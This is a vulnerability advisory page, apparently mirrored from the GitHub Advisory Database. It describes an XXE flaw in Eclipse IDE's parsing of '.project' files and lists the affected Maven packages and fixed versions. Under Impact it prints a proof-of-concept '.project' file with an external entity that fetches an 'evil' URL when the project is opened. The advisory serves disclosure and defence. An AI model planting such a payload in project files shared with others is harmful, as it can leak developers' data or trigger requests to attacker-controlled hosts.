Media

Eclipse IDE XXE in eclipse.platform

  • Publicada: 30.11.2023
  • Actualizado: 11.10.2026 12:21

Impact

xml files like ".project" are parsed vulnerable against all sorts of XXE attacks. The user just needs to open any evil project or update an open project with a vulnerable file (for example for review a foreign repository or patch).

Vulnerablility was found by static code analysis (SonarLint).

Example .project file:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE price [
<!ENTITY xxe SYSTEM "http://127.0.0.1:49416/evil">]>
<projectDescription>
	<name>p</name>
	<comment>&xxe;</comment>
</projectDescription>

Patches

Similar patches including junit test that shows the vulnerability have already applied to PDE (see https://github.com/eclipse-pde/eclipse.pde/pull/667). A solution to platform should be the same: just reject parsing any XML that contains any DOCTYPE.

Workarounds

No known workaround. User can only avoid to get/open any foreign files with eclipse. Firewall rules against loss of data (but not against XML bomb).

References

https://cwe.mitre.org/data/definitions/611.html https://rules.sonarsource.com/java/RSPEC-2755 https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/8 (Report for multiple projects affected)

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Java / Kotlin (Maven) org.eclipse.jdt:org.eclipse.jdt.ui < 3.30.0 3.30.0
Java / Kotlin (Maven) org.eclipse.platform:org.eclipse.core.runtime < 3.29.0 3.29.0
Java / Kotlin (Maven) org.eclipse.platform:org.eclipse.jface < 3.31.0 3.31.0
Java / Kotlin (Maven) org.eclipse.platform:org.eclipse.platform < 4.29.0 4.29.0
Java / Kotlin (Maven) org.eclipse.platform:org.eclipse.ui.forms < 3.13.0 3.13.0
Java / Kotlin (Maven) org.eclipse.platform:org.eclipse.ui.ide < 3.21.100 3.21.100
Java / Kotlin (Maven) org.eclipse.platform:org.eclipse.ui.workbench < 3.130.0 3.130.0
Java / Kotlin (Maven) org.eclipse.platform:org.eclipse.urischeme < 1.3.100 1.3.100

Referencias

Puntuación CVSS 5/10
Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
Debilidad (CWE)
-
Plataforma
Java / Kotlin (Maven)
Paquete
org.eclipse.jdt:org.eclipse.jdt.ui, org.eclipse.platform:org.eclipse.core.runtime, org.eclipse.platform:org.eclipse.jface
Publicada
30.11.2023
Actualizado
11.10.2026 12:21

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-j24h-xcpc-9jw8 - CC BY 4.0

Historial de vulnerabilidades: org.eclipse.jdt:org.eclipse.jdt.ui

Todas las vulnerabilidades publicadas de este paquete (Java / Kotlin (Maven)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Esta es la única vulnerabilidad conocida de este paquete.

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.